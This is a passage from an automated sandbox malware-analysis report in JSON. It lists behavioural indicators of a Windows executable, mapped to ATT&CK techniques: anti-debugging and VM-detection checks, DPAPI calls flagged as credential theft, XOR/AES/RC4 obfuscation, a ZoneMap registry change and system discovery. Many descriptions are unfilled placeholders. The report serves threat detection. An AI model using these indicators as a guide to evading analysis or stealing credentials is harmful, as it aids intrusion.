00000000-00004504.00000000.72490.00001000.00000020.mdmp\")\n Found string - \\\\.\\PartmgrControl; Source: \"00000000-00002896.00000000.72391.00001000.00000020.mdmp\")\n Found string - \\\\.\\PhysicalDrive%d; Source: \"00000000-00002972.00000000.72622.00001000.00000020.mdmp\")\n Found string - \\\\.\\PHYSICALDRIVE%u; Source: \"00000000-00004504.00000000.72490.00001000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$2d","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Tries to map intranet network resources to internet zone","description":"\"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"UNCASINTRANET\"; Value: \"00000000\")\n \"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"UNCASINTRANET\"; Value: \"00000000\")","origin":"Registry Access","mitre_attack_id":"T1562.001","relevance":1,"id":"registry-179","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found reference to API \"OutputDebugStringW\" (Indicator: \"OutputDebugString\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found reference to API \"OutputDebugStringA\" (Indicator: \"OutputDebugString\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found reference to API \"IsDebuggerPresent\" (Indicator: \"IsDebuggerPresent\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"UnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found reference to API \"__crtSetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found reference to API \"__crtSetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to access crypto-related API (String)","description":"Found reference to API \"CryptUnprotectData\" (Indicator: \"CryptUnprotectData\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found reference to API \"CryptProtectData\" (Indicator: \"CryptProtectData\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found reference to API \"CryptProtectData\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00002220.00000000.70553.40001000.00000020.mdmp\")\n Found reference to API \"CryptUnprotectData\" (Indicator: \"CryptUnprotectData\"; Source: \"00000000-00002220.00000000.70553.40001000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-920","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to utilize the Windows bcrypt cryptographic API","description":"$2e","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-927","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to convert data from string to binary","description":"$2f","origin":"API Call","mitre_attack_id":"T1027","relevance":3,"id":"api-229","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"$30","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to encrypt/decrypt data using TripleDES","description":"Found reference to API \"System.Security.Cryptography.TripleDESCryptoServiceProvider\" (Indicator: \"TripleDESCryptoServiceProvider\"; File: \"00004636.0000121C.35634271.00400000.wprm\")\n Found reference to API \"aphy.TripleDESCryptoServiceProvider\" (Indicator: \"TripleDESCryptoServiceProvider\"; File: \"00004636.0000121C.35638715.00401000.wprm\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-486","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to encrypt/encode message (API string)","description":"Found reference to API \"CryptStringToBinaryA\" (Indicator: \"CryptStringToBinary\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-213","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES/RC4 encryption (API string)","description":"$31","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-438","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found reference to API \"CryptUnprotectData\" (Indicator: \"CryptUnprotectData\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found reference to API \"BCryptDecrypt\" (Indicator: \"BCryptDecrypt\"; File: \"00004636.0000121C.35638715.00401000.wprm\")\n Found reference to API \"BCryptDecrypt\" (Indicator: \"CryptDecrypt\"; File: \"00004636.0000121C.35638715.00401000.wprm\")\n Found reference to API \"CryptUnprotectData\" (Indicator: \"CryptUnprotectData\"; Source: \"00000000-00002220.00000000.70553.40001000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption (API string)","description":"Found reference to API \"CryptProtectData\" (Indicator: \"CryptProtectData\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found reference to API \"CryptProtectData\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00002220.00000000.70553.40001000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-108","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"file/memory contains long string with (Indicator: \"encryptedkey\"; Source: \"00000000-00002944.00000001.74081.00F20000.00000004.mdmp, 00000000-00002944.00000002.76003.00F20000.00000004.mdmp\")\n file/memory contains long string with (Indicator: \"encryptedkey\"; Source: \"00000000-00002944.00000002.76003.02390000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$32","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Cryptographic Related","name":"Imports crypto-related APIs","description":"Observed import api \"CryptProtectData\" which can \"perform encryption on the data\" [Source: elevation_service.exe]\n Observed import api \"CryptUnprotectData\" which can \"perform decryption and does an integrity check of the data\" [Source: elevation_service.exe]","origin":"Static Parser","mitre_attack_id":"T1486","relevance":1,"id":"static-82","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Cryptographic Related","name":"Sample file has high entropy (likely encrypted/compressed content)","description":"Sample file \"sample.bin\" has high entropy 7.94105","origin":"Binary File","mitre_attack_id":"T1027","relevance":1,"id":"binary-71","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: YARA signature match - AES encryption\n Matched sigs: YARA signature match - RC4 Encryption","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$33","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: YARA signature match - AES encryption\n Matched sigs: YARA signature match - RC4 Encryption","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"$34","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"$35","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Able to gather system information (.NET)","description":"$36","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-937","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"$37","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00001828.00000001.73975.00001000.00000020.mdmp, 00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual/sandbox environment","description":"$38","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-660","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual/sandbox environment devices","description":"Found string \"%COMMONPROGRAMFILES%\\VMware\\Drivers\\vmci\\*\" (Indicator: \"\\vmci\"; Source: \"00000000-00004636-00000C2D-134846708166\")\n Found string \"%COMMONPROGRAMFILES%\\VMware\\Drivers\\vmci\\device\\*\" (Indicator: \"\\vmci\"; Source: \"00000000-00004636-00000C2D-134860945488\")\n Found string \"%COMMONPROGRAMFILES%\\VMware\\Drivers\\vmci\\device\\Win7\\*\" (Indicator: \"\\vmci\"; Source: \"00000000-00004636-00000C2D-134884014284\")\n Found string \"%COMMONPROGRAMFILES%\\VMware\\Drivers\\vmci\\sockets\\*\" (Indicator: \"\\vmci\"; Source: \"00000000-00004636-00000C2D-135196385538\")\n Found string \"%COMMONPROGRAMFILES%\\VMware\\Drivers\\vmci\\sockets\\include\\*\" (Indicator: \"\\vmci\"; Source: \"00000000-00004636-00000C2D-135205382800\")\n Found string \"%COMMONPROGRAMFILES%\\VMware\\Drivers\\vmci\\sockets\\Win7\\*\" (Indicator: \"\\vmci\"; Source: \"00000000-00004636-00000C2D-135220233548\")","origin":"File/Memory","mitre_attack_id":"T1497","relevance":1,"id":"string-667","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Able to list processes on remote desktop session host","description":"Found reference to API \"WTSFreeMemory\" (Indicator: \"WTSFreeMemory\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found reference to API \"ProcessIdToSessionId\" (Indicator: \"ProcessIdToSessionId\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found reference to API \"WTSEnumerateSessionsW\" (Indicator: \"WTSEnumerateSessions\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found reference to API \"WTSEnumerateSessionsW\" (Indicator: \"WTSEnumerateSessions\"; Source: \"00000000-00004204.00000000.71804.00001000.00000020.mdmp\")\n Found reference to API \"WTSFreeMemory\" (Indicator: \"WTSFreeMemory\"; Source: \"00000000-00004204.00000000.71804.00001000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-906","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"$39","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query service configuration on system (API string)","description":"Found string \"QueryServiceConfigW\" (File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found string \"QueryServiceStatusEx\" (File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found string \"QueryServiceStatus\" (Source: \"00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp\")\n Found string \"QueryServiceConfig2W\" (Source: \"00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-910","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"Found reference to API \"GetSystemDefaultLCID\" (Indicator: \"GetSystemDefaultLCID\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found reference to API \"GetUserDefaultLCID\" (Indicator: \"GetUserDefaultLCID\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found reference to API \"EnumSystemLocalesW\" (Indicator: \"EnumSystemLocales\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found reference to API \"GetLocaleInfoA\" (Indicator: \"GetLocaleInfo\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query volume/memory size (API string)","description":"$3a","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve date formats supported by the local system (API string)","description":"Found reference to API \"GetTimeFormatW\" (Indicator: \"GetTimeFormat\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found reference to API \"GetDateFormatW\" (Indicator: \"GetDateFormat\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found reference to API \"EnumDateFormatsExW\" (Indicator: \"EnumDateFormats\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found reference to API \"EnumTimeFormatsW\" (Indicator: \"EnumTimeFormats\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found reference to API \"GetDateFormatW\" (Indicator: \"GetDateFormat\"; Source: \"00000000-00002220.00000000.70553.40001000.00000020.mdmp\")\n Found reference to API \"GetTimeFormatW\" (Indicator: \"GetTimeFormat\"; Source: \"00000000-00002220.00000000.70553.40001000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-901","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"Found reference to API \"GetAddrInfoW\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00003968-00000C2B-76630078\")\n Found reference to API \"getaddrinfo\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00001828.00000001.73975.00001000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"$3b","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system language (API string)","description":"$3c","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"$3d","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\" called \"GetWriteWatch\" with parameters (UID: 00000000-00003968)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00003968)\n \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\" called \"QueryPerformanceCounter\" (UID: 00000000-00003968)\n \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\" called \"GlobalMemoryStatusEx\" with parameters (UID: 00000000-00003968)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00003968)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Calls APIs used for find file/directory path","description":"Observed import api PathFindFileName (Source: AcroRd32.exe)\n Observed import api PathFindFileName (Source: wmpnetwk.exe)","origin":"Static Parser","mitre_attack_id":"T1083","relevance":1,"id":"static-183","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\" called \"GetForegroundWindow\" (UID: 00000000-00003968)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\" called \"IsWow64Process\" with parameter \"3968\" - (UID: 00000000-00003968)\n \"powershell.exe\" called \"IsWow64Process\" with parameter \"1268\" - (UID: 00000000-00001268)\n \"RegSvcs.exe\" called \"IsWow64Process\" with parameter \"4636\" - (UID: 00000000-00004636)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00001268)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00003968)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$3e","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to open an existing named mutex object","description":"\"SearchIndexer.exe\" called \"OpenMutexW\" with parameter \"Global\\Multiarch.m0yv-385ff1036e8a03cb-inf\" - (UID: 00000000-00004520)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-144","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$3f","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"$40","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve default language settings","description":"\"RegSvcs.exe\" called \"GetSystemDefaultLangID\" (UID: 00000000-00004636)\n \"SearchIndexer.exe\" called \"GetSystemDefaultLangID\" (UID: 00000000-00004520)","origin":"API Call","mitre_attack_id":"T1614.001","relevance":3,"id":"api-149","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00003968)\n \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00003968)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00001268)\n \"RegSvcs.exe\" called \"GetLocaleInfoA\" with parameter \"1024\" - (UID: 00000000-00004636)\n \"RegSvcs.exe\" called \"GetLocaleInfoA\" with parameter \"1033\" - (UID: 00000000-00004636)\n \"RegSvcs.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00004636)\n \"SearchIndexer.exe\" called \"GetLocaleInfoW\" with parameter \"0\" - (UID: 00000000-00004520)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an APIs used to retrieve process information","description":"Observed import api \"OpenProcessToken\" which can be \"used to retrieve process information\" [Source: chrmstp.exe]\n Observed import api \"OpenProcessToken\" which can be \"used to retrieve process information\" [Source: AcroRd32.exe]\n Observed import api \"OpenProcessToken\" which can be \"used to retrieve process information\" [Source: wmpnetwk.exe]\n Observed import api \"OpenProcessToken\" which can be \"used to retrieve process information\" [Source: 7zG.exe]\n Observed import api \"OpenProcessToken\" which can be \"used to retrieve process information\" [Source: dwtrig20.exe]\n Observed import api \"OpenProcessToken\" which can be \"used to retrieve process information\" [Source: setup.exe]\n Observed import api \"OpenProcessToken\" which can be \"used to retrieve process information\" [Source: 7z.exe]\n Observed import api \"OpenProcessToken\" which can be \"used to retrieve process information\" [Source: firefox.exe]\n Observed import api \"OpenProcessToken\" which can be \"used to retrieve process information\" [Source: updater.exe]","origin":"Static Parser","mitre_attack_id":"T1057","relevance":5,"id":"static-189","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to enumerate volumes (API string)","description":"$41","origin":"File/Memory","mitre_attack_id":"T1006","relevance":1,"id":"string-194","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to execute a WMI query","description":"Found string \"SELECT * FROM Win32_OperatingSystem\" (Indicator: \"select * from \"; File: 